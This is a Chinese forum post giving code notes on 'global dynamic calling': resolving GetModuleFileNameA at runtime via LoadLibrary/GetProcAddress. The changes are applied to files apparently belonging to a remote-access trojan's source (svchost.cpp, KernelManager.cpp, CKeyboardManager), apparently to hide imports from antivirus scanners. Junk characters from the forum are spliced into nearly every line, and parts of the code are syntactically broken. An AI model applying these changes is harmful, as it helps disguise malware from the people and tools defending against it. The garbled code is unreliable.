返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
% d: s8 Z1 I2 V0 I$ c/ {  Bsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
8 u" U. m& ]4 @! n1 f* r----------------------------------------
9 d+ N$ p. [: |+ u, I, oDTDY.h:- @) F+ V) V$ k- q/ B

4 p( }$ N, J2 U0 y#if _MSC_VER>1000" r& t& x( }, L  n
#pragma once
: [2 a6 f, Q% z3 i" V+ g, c0 M#endif //_MSC_VER>1000
- ]6 y/ W! }# J: U4 }! f7 O* [% T#include<windows.h>7 p1 |* H3 K; t8 F; ?

2 `7 {3 S2 x# K4 [- I# _typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);" {  x8 h6 M* n, }3 h5 o4 X. P4 \; I
class DTDY2 Y8 l- C2 {# `0 g) q: ]9 g
{% \! s! x! H) S! w2 B
public:
' K# e" ~0 `' q9 H! y7 c1 C' o+ A1 ]+ B* ~DTDY();
1 M# `  D0 G% y. D, s) Hvirtual ~DTDY();
9 }: ?3 i3 {6 A, M& b9 Ipublic:2 ^- S* p5 S% W$ K8 T
static pGetModuleFileNameA MyGetModuleFileName;2 b( R% ]' w, `; z
static BOOL FunInitiallization();5 M1 P: ^" @3 r/ h
};
, ]+ @! S; e& c, _#endif' p# U& }& I0 `. n6 v5 H# s
----------------------------------------( _' Y/ G! S9 ]3 P

8 }. b( `- h8 I: x. P. K+ [DTDY.cpp:
! o3 R: J- [& Y" z
( G: V9 O% t  `9 ?/ v#include "DTDY.h"' d+ B/ V0 J6 C& A8 |
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;% M% @0 \+ e0 \' U; M: H6 {
DTDY:TDY()
: L0 h" R8 c( O3 g1 w{6 k$ z3 N  \) _# G* |, }
}
+ {  w7 P6 r, H8 N$ b7 U7 `+ TDTDY::~DTDY()- }) Z$ u2 j, `/ R
{2 b7 I  d0 ]( ^# q3 i% f% Z
}
+ z% R5 Y& Q! A* g" TBOOL DTDY::FunInitiallization()
: j2 b$ n) ?+ e; z{
6 s8 S; p) p* ?9 ?7 N; kHMODULE hModule=LoadLibrary("kernel32.dll");  \: d, ^( {! R9 A3 @. x
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- v  L0 n, E! E, [7 @4 vif(!MyGetModuleFileName=) return FALSE;" [' t6 r0 e: Q% C) l

/ r' U" i. A! R3 N$ `1 \  w2 ereturn TRUE;! k% Q; W8 t) \3 R
}8 ~8 s$ T/ W4 c. S2 P) a
----------------------------------------8 u4 Q8 w9 o5 `- s. ~/ d: q
svchost.cpp:' x0 R# l8 r9 ?
5 d/ C0 n4 U4 f% s
#include "DTDY.h"5 i& x6 z* l" ?
; Z- c! M% d6 P+ V) ?: F% D& w# ?
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
# v: s8 Q0 K+ R8 l+ [/ r$ b; X+ ?{$ p5 z( A% ?9 g* P* I- ^8 z  \
switch(ul_reason_for_call)
2 S8 M0 E0 Z9 X{
! Z! j7 ^  [( w- Vcase DLL_PROCESS_ATTACH:
1 z: U8 G' E5 }, N- Tif(!DTDY::FunInitiallization()) return FALSE;2 U7 R4 j5 B5 C1 e, T8 [

- ~7 R0 X* z3 ebreak;* k! {: b& W) W2 Y( w/ [4 @1 ]% ?+ B
}- o- U$ G3 X7 R
}
, O2 w0 A& s: z# G6 N0 ^+ N" h& |& p. _

" A" A6 I. V  ?% B" m; aGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 F; K. O( `! I/ C3 j改写为
& g( T, s& o" w5 mDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));5 p% o2 X8 T4 n: E& a2 k
----------------------------------------
$ ^1 r8 ~% J/ m* d; s& L( iKernelManager.cpp:1 A- v, ^0 R- w( e6 h: g$ t, a
$ V1 V( C) [+ B# P( }
#include "../DTDY.h"9 J8 C) ~% ]/ T6 A( y9 a9 g
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 P; R. z! a& _1 a# O4 n% b% C改写为" ]. m# Q6 ^/ h6 N; d
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
+ Z. q- v; \! J7 f9 u6 d- C----------------------------------------

返回列表